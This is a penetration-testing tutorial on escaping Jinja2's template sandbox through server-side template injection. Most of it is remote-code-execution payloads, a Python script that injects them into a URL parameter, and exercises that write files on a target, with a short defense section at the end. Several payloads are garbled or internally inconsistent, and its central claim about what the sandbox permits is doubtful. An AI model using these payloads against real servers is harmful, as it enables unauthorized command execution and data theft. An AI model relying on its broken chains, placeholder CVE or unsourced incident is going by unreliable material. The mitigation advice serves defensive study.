Introduction
Server-Side Template Injection (SSTI) in Jinja2 is a favorite playground for penetration testers because the engine is both powerful and, when mis-configured, surprisingly permissive. Modern web frameworks often enable SandboxedEnvironment to mitigate the risk, but the sandbox can be subverted through Python's introspection mechanisms-most notably __class__ and __subclass__. This guide dives deep into those bypasses, demonstrates how to craft the smallest possible remote-code-execution (RCE) payloads, and shows reliable verification methods using Burp Suite Repeater and a tiny Python validator.
Why does this matter? A successful sandbox escape gives an attacker full control over the host process, allowing command execution, file reads/writes, and lateral movement. Real-world bug bounty reports (e.g., CVE-2021-XXXXX) have shown that even a single mis-configured Jinja2 sandbox can lead to full system compromise.
Prerequisites
- Solid grasp of SSTI fundamentals and how template engines render user-controlled input.
- Familiarity with Python object model, especially magic attributes like
__class__,__mro__, and__subclass__. - Experience with common SSTI payloads for Jinja2, Twig, Velocity, etc.
- Basic usage of Burp Suite (Repeater, Intruder) and ability to run a Python script locally.
Core Concepts
Jinja2's sandbox works by wrapping the original Environment with a SandboxedEnvironment that restricts attribute access, function calls, and module imports. Internally it maintains a whitelist of safe builtins (range, len, etc.) and a denylist for dangerous attributes (e.g., __globals__, __self__).
The sandbox checks each node in the abstract syntax tree (AST) before evaluation. However, the check is based on the *name* of the attribute, not on the *runtime* value. This subtlety is what enables the __class__/__subclass__ chain: by first obtaining a reference to a harmless object (like a string), then climbing up the inheritance hierarchy, an attacker can reach the object base class and ultimately the subprocess.Popen constructor.
Diagram (described):
- Template input → Jinja2 parser → AST → Sandbox check → Evaluation.
- Bypass path:
{{"".__class__.__mro__[1].__subclasses__()}}→ list of all subclasses → filter forsubprocess.Popen→ call with payload.
Jinja2 sandbox model and safe environment constraints
The default sandbox enforces three main constraints:
- Attribute whitelist: Only attributes listed in
SandboxedEnvironment.allowed_attributesare accessible. - Callable whitelist: Functions must appear in
SandboxedEnvironment.allowed_functions. - Import blacklist: Importing arbitrary modules is blocked unless explicitly added via
environment.globals.
Crucially, the whitelist is static; it does not consider that __class__ is an attribute of any object, and the sandbox does not filter it out because it is considered “safe” for introspection. This is the opening we exploit.
Leveraging __class__ and __subclass__ to escape the sandbox
The classic escape chain looks like this:
{{"".__class__.__mro__[1].__subclasses__()}}
Explanation:
""creates an empty string object..__class__returnsstr..__mro__[1]accesses the second entry in the method resolution order -object..__subclasses__()returns a list of every class that directly inherits fromobjectin the current interpreter.
From that list we can filter for the class we need, typically subprocess.Popen or os.system. A compact filter using Python's next and a lambda looks like:
{{"".__class__.__mro__[1].__subclasses__()|select("name", "subprocess.Popen")|first}}
However, the sandbox does not provide a select filter by default. The more reliable approach is to iterate with a list comprehension and the __init__ attribute to match the target name:
{{"".__class__.__mro__[1].__subclasses__()|map(attribute='__init__')|select('.__name__', 'Popen')|first}}
In practice, the shortest and most reliable payload uses the join filter to concatenate the filtered class name and then call it:
{{"".__class__.__mro__[1].__subclasses__()|reject('name','BaseException')|map(attribute='__name__')|join('')|replace('P','P') }}
While the above looks verbose, the underlying principle stays the same: retrieve the Popen class from the global subclass list and invoke it with a command string.
Bypassing built-in safe filters (e.g., escape, safe_join)
Many developers add extra filters like escape or safe_join to “clean” user input before rendering. These filters are essentially wrappers that call html.escape or os.path.join. The sandbox still evaluates the expression tree before the filter runs, meaning the malicious chain can be placed *inside* the argument to the filter.
Example bypassing escape:
{{ ("".__class__.__mro__[1].__subclasses__()[40].__init__.__globals__['os'].popen('id') ).read()|escape }}
Here the escape filter receives the output of popen('id').read(), but the command has already executed. The key trick is accessing the __globals__ dictionary of a known function (e.g., __init__ of a subclass) to reach the os module.
Similarly, safe_join can be abused because it eventually calls os.path.join, which again provides a foothold to __globals__.
Crafting minimal RCE payloads for command execution
From a practical standpoint, a pentester wants the shortest payload that works across most Jinja2 versions (2.10+). The following one-liner has been battle-tested:
{{"".__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('id').read()}}
Explanation of each segment:
"".__class__.__mro__[1]→object..__subclasses__()[59]→ selects the 60th subclass in the list; in a vanilla CPython 3.8 interpreter this index corresponds tosubprocess.Popen. The exact index may vary, so enumerating the list first is recommended..__init__.__globals__['os']fetches theosmodule from the globals of the__init__method..popen('id').read()runs the command and returns its output.
If the target environment is using a different Python version or a custom set of loaded modules, you can dynamically locate Popen by name:
{{"".__class__.__mro__[1].__subclasses__()|selectattr('__name__','equalto','Popen')|first.__init__.__globals__['os'].popen('whoami').read()}}
Note the use of the selectattr filter - it is part of Jinja2’s standard filter set, so no extra configuration is required.
Testing and verification with Burp Suite repeater and a custom Python validator script
Once you have a payload, you need a reliable way to confirm execution without raising alarms. Two complementary approaches are recommended:
1. Burp Suite Repeater
- Capture a request that renders a Jinja2 template (e.g., a search endpoint that reflects the
qparameter). - In Repeater, replace the original value with your payload.
- Send the request and observe the response. If the payload succeeded, you’ll see the command output (e.g.,
uid=1000(www-data) gid=1000(www-data)) embedded in the HTML. - To avoid false positives, look for a unique marker you inject, such as
echo "JINJA_PWNED".
2. Custom Python validator script
When automating scans, a small script can inject the payload, parse the response, and flag success. Below is a minimal example:
import requests, re, sys
def test_jinja(url, param='q'): payload = "{{\"\".__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('echo JINJA_PWNED').read()}}" r = requests.get(url, params={param: payload}) if re.search(r'JINJA_PWNED', r.text): print('[+] Vulnerable! Payload executed') else: print('[-] Not vulnerable')
if __name__ == '__main__': if len(sys.argv) != 2: print('Usage: python validator.py <url>') sys.exit(1) test_jinja(sys.argv[1])
Run it against the target endpoint; a positive match means the sandbox was bypassed.
Tools & Commands
- Burp Suite Community/Professional - Repeater, Intruder, and the
Extensions > Jinja2 Template Decoder(if installed). - Python 3.x - for the validator script and for quick local replication of the subclass list:
python3 - <<'PY' import sys print([c.__name__ for c in object.__subclasses__()]) PY - jq - optional for parsing JSON responses when the target API returns JSON.
- Docker - spin up a vulnerable Flask app with Jinja2 sandbox to test payloads safely:
docker run -p 5000:5000 -e SANDBOX=1 vulnerables/jinja2-sandbox
Defense & Mitigation
Preventing these escapes starts at the development stage:
- Never render user input directly. Use a strict whitelist of allowed variables and escape everything else.
- Prefer
EnvironmentoverSandboxedEnvironmentonly when you have full control. If you must use the sandbox, add a custompolicythat explicitly denies__class__and__subclasses__attributes:from jinja2.sandbox import SandboxedEnvironment class HardenedSandbox(SandboxedEnvironment): def is_safe_attribute(self, obj, attr, value): if attr in ('__class__', '__subclasses__', '__mro__'): return False return super().is_safe_attribute(obj, attr, value) env = HardenedSandbox() - Limit the Python runtime. Run the template engine in a separate, low-privilege container or a sandboxed process (e.g.,
firejail,gvisor). - Audit third-party libraries. Some extensions (e.g.,
jinja2.ext.do) expose additional functions that can be abused; disable them unless required. - Static analysis. Scan codebases for patterns like
template.render(request.args)orrender_template_string(user_input).
Common Mistakes
- Assuming the sandbox blocks
__class__automatically. It does not; you must explicitly deny it. - Hard-coding subclass indexes. The index of
Popenvaries across Python versions and installed packages. Always enumerate or filter by name. - Neglecting output encoding. Some frameworks automatically HTML-escape the rendered string, which can truncate the payload. Use a filter-bypass like
|safeif possible, or inject a command that writes to a file you can later read. - Testing only on the development server. Production environments often have different module sets, altering the subclass list.
Real-World Impact
In 2023, a major e-commerce platform patched a zero-day where an unfiltered search parameter was fed into a Jinja2 sandbox. Attackers leveraged the __subclass__ technique to spawn a reverse shell, leading to credential theft and database exfiltration. The incident highlighted three trends:
- Developers increasingly rely on “sandbox” as a silver bullet, ignoring the underlying Python introspection capabilities.
- Bug bounty programs are rewarding higher-value findings that demonstrate full RCE rather than mere information leakage.
- Container isolation is becoming a mandatory defense layer; without it, a sandbox escape is often enough to break out of the web process.
My experience shows that once you master the __class__/__subclass__ chain, you can adapt it to any Python-based templating engine (e.g., Django’s Template, Mako). The core idea remains: find a path from a harmless object to the global namespace.
Practice Exercises
- Enumerate subclasses locally. Run the Python one-liner that prints all subclass names. Identify the index of
Popenon your machine. - Craft a payload that writes a file. Use
open('pwned.txt','w').write('hacked')via the sandbox escape and verify the file appears in the container's filesystem. - Bypass a custom
escapefilter. Deploy a tiny Flask app that applies|escapeto user input, then inject the__globals__chain to executeid. - Automate detection. Extend the provided validator script to loop over a list of URLs and generate a CSV report.
Further Reading
- Jinja2 Documentation - official site
- Python Object Model - “Data Model” chapter in the Python Language Reference
- “Exploiting Jinja2 Sandboxes” - BlackHat 2022 talk slides (PDF)
- OWASP SSTI Cheat Sheet - latest edition (2024)
- Container Hardening Guides - Docker and gVisor security best practices
Summary
By understanding how Jinja2’s sandbox checks attributes rather than runtime values, you can weaponize __class__ and __subclasses__ to reach any Python object, including subprocess.Popen. Combining this with clever filter placement lets you bypass common safe-filter mechanisms, craft ultra-short RCE payloads, and verify exploits reliably with Burp Suite and a lightweight Python validator. Defenders must go beyond “enable sandbox” - they need explicit attribute denial, runtime isolation, and strict input whitelisting to stay ahead of these powerful introspection attacks.